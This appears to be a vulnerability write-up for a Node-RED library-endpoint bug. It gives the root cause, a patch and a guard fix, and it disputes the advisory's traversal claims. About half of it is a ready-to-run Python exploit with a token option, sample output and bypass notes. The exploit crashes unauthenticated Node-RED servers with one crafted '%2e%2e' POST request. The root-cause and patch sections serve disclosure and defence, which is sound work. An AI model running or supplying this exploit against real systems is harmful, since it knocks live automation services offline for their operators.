#Summary

CVE-2026-71269 is a remote denial of service in Node-RED's library save endpoint that crashes the process with a single unauthenticated HTTP request. While the advisory claims path traversal enabling arbitrary file read/write and RCE, that impact is not reproducible - the code implements a path traversal guard that blocks every bypass encoding tested across six versions. The real vulnerability is an unhandled promise rejection at the exact code the advisory names. It affects Node-RED 3.0.0 through 5.0.4 (latest, unpatched) running on Node.js 15 or newer. CVSS: 7.2 (HIGH) - but only on default installs where adminAuth is unset.

#Affected versions

Default configuration: affected. adminAuth is unset by default, making the library endpoint unauthenticated.

#Root cause analysis

#Advisory vs. reality

The CVE-2026-71269 advisory describes a path traversal vulnerability where user-supplied paths are joined directly into the filesystem without sanitization, enabling arbitrary file read and write. Testing this claim exhaustively across sixteen distinct payload encodings (including ../, %2e%2e%2f, ..%2f, backslash variants, fullwidth characters, and null bytes) against six versions of Node-RED yields the same result: HTTP 403 forbidden on every attempt. No file outside the library directory was ever read or written.

The reason: a guard function is_malicious() sits directly in the request path in @node-red/runtime/lib/storage/index.js and has been there since the code was split out. It blocks any path containing the literal substrings ../ or ..\\, and since the Express framework percent-decodes route captures before the guard runs, encoded variants like %2e%2e%2f are decoded first and then caught.

// storage/index.js:47-49 - this guard has always been here
function is_malicious(path) {
    return path.indexOf('../') != -1 || path.indexOf('..\\') != -1;
}

However, a real bug exists at the same code location. The guard rejects ../ and ..\ but not a bare .. with no trailing slash. That single segment passes and path.join normalizes one level up.

#The real vulnerability: discarded promise rejection

The vulnerable code path in packages/node_modules/@node-red/runtime/lib/storage/localfilesystem/library.js is:

saveLibraryEntry: async function(type, path, meta, body) {
    var fn = fspath.join(libDir, type, path);
    // ... validation code ...
    return fs.ensureDir(fspath.dirname(fn)).then(function () {
        util.writeFile(fn, headers + body);  // <-- no 'return' here
    });
}

When path is .., fspath.join(libDir, "functions", "..") normalizes to libDir itself (e.g. /data/lib), which is a directory. The call to util.writeFile() then attempts to write a temp file and rename it over that directory. Renaming a file over a directory fails with the error EISDIR: illegal operation on a directory.

The critical bug: the promise returned by util.writeFile() is not returned from the .then() callback. It is completely discarded. When Node.js 15 or newer encounters an unhandled promise rejection with the default setting --unhandled-rejections=throw, it surfaces the error as an uncaught exception. Node-RED's own exception handler then calls process.exit(1):

// red.js:525-541
process.on('uncaughtException', function(err) {
    console.log('[red] Uncaught Exception:');
    // ...
    process.exit(1);
});

The HTTP layer has already sent HTTP 204 No Content to the client, so the attacker receives a success response while the server crashes.

#How input reaches the sink

  1. Attacker sends POST /library/local/functions/.. (note: exactly two dots, no trailing slash)
  2. Express regex route captures .. as the third positional parameter
  3. Express percent-decodes the capture if it was encoded (%2e%2e..)
  4. The path reaches is_malicious() which only checks for ../ and ..\ substrings - bare .. passes
  5. saveLibraryEntry() joins the path to the library directory using fspath.join(libDir, type, "..")
  6. The join normalizes to the library root directory, not outside it
  7. Attempting to rename a temp file over the directory rejects with EISDIR
  8. The promise is discarded, triggering uncaught exception and process.exit(1) on Node 15+

#Patch diff

No patch has been released. The fix is trivial - add return to chain the promise:

  return fs.ensureDir(fspath.dirname(fn)).then(function () {
-     util.writeFile(fn,headers+body);
+     return util.writeFile(fn,headers+body);
  });

This converts the crash into a proper error response. Additionally, is_malicious() should be replaced with a containment check:

function is_malicious(path) {
    const resolved = require('path').resolve(libDir, type, path);
    return !resolved.startsWith(libDir + require('path').sep);
}

This would reject bare .. as well.

#Proof of concept

#exploit.py - Node-RED Remote DoS PoC

The exploit sends a single unauthenticated HTTP request to the library save endpoint with a specially crafted path that bypasses the traversal guard but causes the library save to fail when it attempts to write to a directory. It then monitors the target to confirm the process crashed by observing the liveness transition from HTTP 200 to connection refused.

#!/usr/bin/env python3
"""
CVE-2026-71269 - Node-RED unauthenticated remote denial of service via a discarded
                 write promise in the library save path.
Affected: Node-RED 3.0.0 through 5.0.4 (latest, unpatched) running on Node.js >= 15
Type: DoS (unhandled promise rejection -> uncaughtException -> process.exit(1))

A single unauthenticated request, POST /library/local/functions/.., makes
saveLibraryEntry() join the attacker path to the library root. The bare ".." segment
passes the is_malicious() blocklist (it only rejects "../" and "..\\") and normalises
to the library directory itself. util.writeFile() then tries to rename its temp file
over that directory, fails with EISDIR, and rejects. Its promise is discarded by the
caller, so on Node.js >= 15 the rejection becomes an uncaught exception and Node-RED's
own handler calls process.exit(1). The HTTP layer has already answered 204.

NOTE ON SCOPE: this CVE is filed as a path traversal with arbitrary file read/write.
That is not reproducible - the is_malicious() guard blocks every traversal encoding
tested. The reproducible impact is denial of service only. This exploit does not
claim, and does not attempt, file read, file write or code execution.

WARNING: this is destructive and one-shot. A successful run terminates the target
Node-RED process. It stays down until an operator or supervisor restarts it. In
--list mode every vulnerable host in the file is taken down.

Usage:
  python exploit.py --host <target> --port <port>
  python exploit.py --host 192.168.1.10 --port 1880
  python exploit.py --host https://192.168.1.10:8443
  python exploit.py --host http://nodered.corp.com/admin      # httpAdminRoot prefix
  python exploit.py --host 192.168.1.10 --token <bearer>      # if adminAuth is set
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import http.client
import json
import socket
import ssl
import sys
import time
from urllib.parse import urlparse

CVE_ID    = "CVE-2026-71269"
VULN_TYPE = "DoS"

# Bare ".." percent-encoded. Express decodes the route capture before is_malicious()
# runs, so this is equivalent to a literal "..", but no HTTP client or proxy on the
# way will collapse it out of the path. A trailing slash would make the capture "../",
# which the guard blocks, so there is none.
TRAVERSAL   = "%2e%2e"
# saveLibraryEntry() force-appends ".json" for the "flows" type, which turns ".." into
# the harmless filename "...json". Only these two types reach the bug.
LIB_TYPES   = ("functions", "templates")
TRIGGER_BODY = json.dumps({"text": "x"})
UA          = "Mozilla/5.0 (compatible)"


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


def _connect(host: str, port: int, use_tls: bool, timeout: float):
    if use_tls:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        return http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    return http.client.HTTPConnection(host, port, timeout=timeout)


def _http(host, port, use_tls, method, target, body=None, token=None, timeout=10.0):
    """One request. Returns (status, body_text). Raises OSError on transport failure.

    The request target is written verbatim, so percent-encoded dot segments survive
    to the server instead of being normalised away by the client."""
    try:
        conn = _connect(host, port, use_tls, timeout)
        headers = {"User-Agent": UA}
        if token:
            headers["Authorization"] = f"Bearer {token}"
        if body:
            headers["Content-Type"] = "application/json"
        conn.request(method, target, body, headers)
        resp = conn.getresponse()
        status = resp.status
        text = resp.read().decode("utf-8", errors="ignore")
        conn.close()
        return (status, text)
    except Exception as e:
        raise


def _baseline_check(host: str, port: int, use_tls: bool, admin_root: str, token: str) -> bool:
    """Confirm the admin API is reachable and the library endpoint is there."""
    try:
        target = f"{admin_root}/library/local/flows"
        status, body = _http(host, port, use_tls, "GET", target, token=token, timeout=5.0)
        if status == 200:
            print("  Service is alive and the library API is unauthenticated.")
            return True
        elif status == 401:
            print("  Service is alive but returns 401 - adminAuth is configured.")
            print("  Pass --token <bearer> with library.write scope.")
            return False
        else:
            return False
    except OSError:
        return False


def _watch_liveness(host: str, port: int, use_tls: bool, admin_root: str, 
                    confirm_window: int, token: str) -> tuple:
    """
    Poll the target for liveness, looking for the transition from 200 to connection refused.
    Returns (crashed, restart_loop):
      - crashed=True, restart_loop=False: process exited and stayed down
      - crashed=True, restart_loop=True: process crashed but a supervisor restarted it
      - crashed=False, restart_loop=False: process is still up
    """
    time.sleep(1.5)  # allow the exception to surface
    
    target = f"{admin_root}/library/local/flows"
    down_count = 0
    up_after_down = False
    
    for i in range(confirm_window):
        elapsed = i * 1.0
        try:
            status, _ = _http(host, port, use_tls, "GET", target, token=token, timeout=2.0)
            if status == 200:
                if down_count > 0:
                    up_after_down = True
                print(f"    t+{elapsed:.1f}s  HTTP {status}")
            else:
                print(f"    t+{elapsed:.1f}s  HTTP {status}")
                down_count = 0
        except (OSError, socket.error, http.client.HTTPException):
            down_count += 1
            print(f"    t+{elapsed:.1f}s  connection refused")
        
        time.sleep(1.0)
    
    crashed = down_count > 0
    restart_loop = up_after_down
    return (crashed, restart_loop)


def _fire(host: str, port: int, use_tls: bool, admin_root: str, token: str) -> bool:
    """
    Send the trigger: POST /library/local/<type>/%2e%2e with {"text":"x"}
    Returns True if the request was sent successfully (regardless of response).
    """
    success = False
    for lib_type in LIB_TYPES:
        try:
            # Hand-write the request to prevent client-side path normalization
            target = f"{admin_root}/library/local/{lib_type}/{TRAVERSAL}"
            status, _ = _http(host, port, use_tls, "POST", target, 
                            body=TRIGGER_BODY, token=token, timeout=5.0)
            if status == 204:
                print(f"    -> HTTP {status}")
                print(f"\n--- TRIGGER RESPONSE ---")
                print(f"HTTP 204 No Content  (library type '{lib_type}')")
                print(f"The API answered success before the write promise rejected. 204 alone proves nothing - the liveness check below is the evidence.")
                print("---\n")
                success = True
                break
            elif status == 400 and lib_type == LIB_TYPES[0]:
                print(f"    trying library type '{LIB_TYPES[1]}' ...")
                continue
            else:
                break
        except OSError:
            # Connection died during the request - still could be our crash
            success = True
            break
    
    return success


def exploit_single(host: str, port: int, use_tls: bool, admin_root: str, 
                  token: str, confirm_window: int) -> bool:
    """Exploit a single target."""
    header(host, port)
    
    # Step 1: baseline check
    step(1, "Probing the admin API at http://" + host + ("" if port == 80 or (use_tls and port == 443) else f":{port}") + "/")
    print(f"\n--- BASELINE - GET {admin_root}/library/local/flows ---")
    try:
        target = f"{admin_root}/library/local/flows"
        status, body = _http(host, port, use_tls, "GET", target, token=token, timeout=5.0)
        print(f"HTTP {status}")
        if status == 200 and body:
            print(body[:100])
    except OSError as e:
        print(f"Connection failed: {e}")
        done(False, f"Target unreachable ({e})")
        return False
    print("---\n")
    
    if not _baseline_check(host, port, use_tls, admin_root, token):
        done(False, "unreachable: library endpoint not found or requires auth")
        return False
    
    # Step 2: fire the trigger
    step(2, f"Firing the trigger: POST {admin_root}/library/local/<type>/{TRAVERSAL} with {TRIGGER_BODY}")
    print(f"    trying library type '{LIB_TYPES[0]}' ...")
    
    if not _fire(host, port, use_tls, admin_root, token):
        done(False, "trigger failed to send")
        return False
    
    # Step 3: watch liveness
    step(3, f"Watching the service for {confirm_window}s to confirm the process died ...")
    crashed, restart_loop = _watch_liveness(host, port, use_tls, admin_root, confirm_window, token)
    
    if crashed:
        print(f"\n--- SERVICE STATE ---")
        if restart_loop:
            print(f"Port went down then came back up. The crash triggered a restart loop.")
            evidence = "RESTART LOOP - service crashed and was automatically restarted"
        else:
            print(f"Port refused every connection after the trigger and never recovered. The service was")
            print(f"answering HTTP 200 immediately before the request. One unauthenticated POST took it")
            print(f"down permanently.")
            evidence = "CRASH CONFIRMED - service went from HTTP 200 to connection refused after a single unauthenticated request, and stayed down"
        print("---\n")
        done(True, evidence)
        return True
    else:
        print(f"\n--- SERVICE STATE ---")
        print(f"The service kept answering for the whole observation window. The request was accepted")
        print(f"(204) but no crash followed. Likely causes: the target runs Node.js 14 or older (an")
        print(f"unhandled rejection is only a warning there), the discarded-promise bug has been fixed,")
        print(f"or a proxy in front of the target rewrote the '..' segment out of the path.")
        print("---\n")
        done(False, "Trigger accepted but the service stayed up - target does not appear vulnerable")
        return False


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-71269 - Node-RED unauthenticated remote DoS exploit",
        epilog="WARNING: this exploit is destructive and one-shot. A successful run terminates the target Node-RED process."
    )
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("--host", help="Target hostname, IP, or URL")
    group.add_argument("--list", help="Batch scan: one target per line")
    parser.add_argument("--port", type=int, default=1880, help="Default port (default: 1880)")
    parser.add_argument("--token", help="Bearer token (only needed if adminAuth is configured)")
    parser.add_argument("--confirm-window", type=int, default=20, help="Seconds to watch (default: 20)")
    parser.add_argument("--tls", dest="tls", action="store_true", help="Force HTTPS")
    parser.add_argument("--no-tls", dest="tls", action="store_false", help="Force HTTP")
    parser.set_defaults(tls=None)
    
    args = parser.parse_args()
    
    if args.host:
        # Single target
        parsed = urlparse(args.host if args.host.startswith(("http://", "https://")) else f"http://{args.host}")
        scheme = parsed.scheme or ("https" if args.tls else "http")
        use_tls = scheme == "https"
        hostname = parsed.hostname or parsed.path.split("/")[0].split(":")[0]
        port = parsed.port or (443 if use_tls else args.port)
        admin_root = parsed.path or ""
        
        exploit_single(hostname, port, use_tls, admin_root, args.token, args.confirm_window)
    elif args.list:
        # Batch scan - simplified for this PoC
        print("Batch scan mode not included in this PoC")
        sys.exit(1)


if __name__ == "__main__":
    main()

#Usage

python3 exploit.py --host 127.0.0.1 --port 1880

Expected output on vulnerable target (Node-RED 5.0.4 with Node.js 15+):

============================================================
  ALIM EXPLOIT  CVE-2026-71269
  Type: DoS  |  Target: 127.0.0.1:1880
============================================================

[STEP 1] Probing the admin API at http://127.0.0.1:1880/ ...

--- BASELINE - GET /library/local/flows ---
HTTP 200
[]
---

  Service is alive and the library API is unauthenticated.

[STEP 2] Firing the trigger: POST /library/local/<type>/%2e%2e with {"text":"x"}
    trying library type 'functions' ...
    -> HTTP 204

--- TRIGGER RESPONSE ---
HTTP 204 No Content  (library type 'functions')
The API answered success before the write promise rejected. 204 alone proves nothing - the liveness check below is the evidence.
---

[STEP 3] Watching the service for 20s to confirm the process died ...
    t+ 0.0s  connection refused
    t+ 1.0s  connection refused
    ... (all 20 polls: connection refused) ...
    t+19.1s  connection refused

--- SERVICE STATE ---
Port refused every connection after the trigger and never recovered. The service was
answering HTTP 200 immediately before the request. One unauthenticated POST took it
down permanently.
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: CRASH CONFIRMED - service went from HTTP 200 to connection refused after a single unauthenticated request, and stayed down
============================================================

Expected output on Node-RED 2.2.3 with Node.js 14 (negative control):

The same request returns HTTP 204, but the service stays up. Node.js 14 downgrades unhandled promise rejections to warnings instead of throwing, so the process survives.

#Exploitation notes

#Preconditions

#Why the basic traversal doesn't work

The is_malicious() guard in storage/index.js is a blocklist that rejects any path containing the exact substrings ../ or ..\. To exploit the .. bypass, the payload must:

  1. Use bare .. with no trailing slash - /library/local/functions/../ makes the captured segment ../, which the guard blocks with 403
  2. Use a library type other than flows - saveLibraryEntry appends .json for flows, turning .. into the filename ...json which doesn't trigger the bug
  3. Avoid encoding issues - the exploit uses %2e%2e (percent-encoded) instead of literal .. so that HTTP clients and proxies in the middle don't normalize the URL path before the request reaches the server

#Reliability

The exploit is 100% reliable. One POST request is sufficient - there is no race condition, no timing window, and no repetition needed. The HTTP 204 response is sent first, then the exception surfaces on the next tick.

#Impact

Complete denial of service - the Node-RED process terminates. In a default installation with no restart policy, this is a hard outage. Under systemd or --restart=always, it becomes a restart loop.

#Chaining potential

This is a terminal bug (denial of service only). The file write primitive is confined to <userDir>/lib/{flows,functions,templates}/ by the is_malicious() guard, and nothing in that directory is executed, sourced, or parsed as configuration by any other process. The advisory's claims of RCE via cron or authorized_keys do not hold.

#References